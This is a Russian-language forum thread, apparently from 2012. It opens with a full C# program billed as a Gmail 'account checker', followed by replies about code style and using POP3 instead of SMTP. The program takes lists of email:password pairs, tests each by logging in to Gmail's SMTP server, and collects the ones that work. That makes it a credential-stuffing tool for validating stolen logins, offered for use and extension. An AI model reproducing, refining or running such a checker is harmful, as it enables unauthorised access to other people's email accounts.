Всем привет.
Сегодня мы замутим чеккер акков для Gmail.Если вы его модернизируете, получится вполне неплохая софтина.
Что требуется:
-Пара текстовых боксов.
-Пара буттонов
-openFileDialog
Код:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net.Mail;
using System.Net;
using System.Collections;
using System.IO;
namespace GMailCheck
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
try
{
if(textBox1.Text == "") MessageBox.Show("list is empty");
ArrayList mails = new ArrayList(textBox1.Text.Split('\n')); //seperate them by new lines
for (int i = 0; i < mails.Count; i++)
{
ArrayList mailInfo = new ArrayList(mails[i].ToString().Split(':'));
if (!mailInfo[0].ToString().EndsWith("@gmail.com")) mailInfo[0] = mailInfo[0] + "@gmail.com";
if (checkAccount(mailInfo[0].ToString(), mailInfo[1].ToString()))
{
textBox2.Text += mailInfo[0].ToString() + ":" + mailInfo[1].ToString() + "\r\n";
}
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
static bool checkAccount(string username, string password)
{
//we use fake emails so nobody recieves the email, if you want a email when
//the correct login is found, supply your email address
MailMessage msg = new MailMessage();
msg.From = new MailAddress("[Ссылки могут видеть только зарегистрированные пользователи. ]");//fake email
msg.To.Add("[Ссылки могут видеть только зарегистрированные пользователи. ]");//fake email
msg.Subject = "test";
msg.Body = "test";
SmtpClient smtp = new SmtpClient("smtp.gmail.com");
smtp.Credentials = new NetworkCredential(username, password);
smtp.EnableSsl = true;
try
{
smtp.Send(msg);
return true;
} catch(Exception ex)
{
return false;
}
}
private void button2_Click(object sender, EventArgs e)
{
try
{
openFileDialog1.ShowDialog();
StreamReader read = new StreamReader(openFileDialog1.FileName);
while (!read.EndOfStream)
{
textBox1.Text += read.ReadLine() + "\r\n";
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
}
}
К тому, что статья гaвно не раскрывает всех премудростей и не может научить меня (школьника 80 лвл потенциального читателя) ничему, кроме копипаста.
Мне, например, интересно, почему у тебя комментарии на английском
А еще интересно, что программа делает.
ArrayList mails = new ArrayList(textBox1.Text.Split('\n')); //seperate them by new lines
Строка доставляет, это вам и не массив и не строго типизированный список, это вам извращение про которое давно забыли.
Мне интересно почему не использовать обычный массив, или мы не знаем его длину и берем с запасом, но так вроде все известно, в общем мне как обывателю непонятно
а POP проткол кто-то отменял? И вообще слать сообщение каждый раз это уныло + еще в потоке формы всё будет лагать ужасно, о каком чекере вообще может быть речь?
________________
Разработка программ на заказ, все вопросы skype - the-boxi, ICQ - 616027961
Ну ты загнул, для попа всякие рюшечки нужны, типа SSL и хеширования. А тут тупо, и работает. И пускать сборку письма в другой поток(или потоки) никто не запрещает.
для попа всякие рюшечки нужны, типа SSL и хеширования
щито?
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
Ну ты загнул, для попа всякие рюшечки нужны, типа SSL и хеширования. А тут тупо, и работает. И пускать сборку письма в другой поток(или потоки) никто не запрещает.
В инете 100500 милионов описаний ПОП протокола стоит только набрать в гугле "POP" или "POP + Sharp" и тебе сразу готовый рабочий код
________________
Разработка программ на заказ, все вопросы skype - the-boxi, ICQ - 616027961
Последний раз редактировалось VeTaL_UA; 22.05.2012 в 20:48.
Причина: фейл же
Так вроде бы в шарпе нету родного функционала для работы с POP3 или я что-то путаю?
А вообще я юзал [Ссылки могут видеть только зарегистрированные пользователи. ], мне понравилось, довольно удобная либа
ArrayList mails = new ArrayList(textBox1.Text.Split('\n')); //seperate them by new lines
Строка доставляет, это вам и не массив и не строго типизированный список, это вам извращение про которое давно забыли.
Мне интересно почему не использовать обычный массив, или мы не знаем его длину и берем с запасом, но так вроде все известно, в общем мне как обывателю непонятно
Вообще каждый как любит так делает, скажи мне что в этом плохого?
Цитата:
Сообщение от Yukikaze
Так вроде бы в шарпе нету родного функционала для работы с POP3 или я что-то путаю?
А вообще я юзал OpenPOP, мне понравилось, довольно удобная либа
А TcpClient не подходит? Нужно же простой сокетный коннект
________________
Разработка программ на заказ, все вопросы skype - the-boxi, ICQ - 616027961
Последний раз редактировалось the-boxi; 22.05.2012 в 20:47.
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
В RFC написано что сервера могут потребовать SSL соединения и производить вход в систему(при помощи хеша). Если непонятно почитайте матчасть, документ RFC1939 можно запросто нагуглить.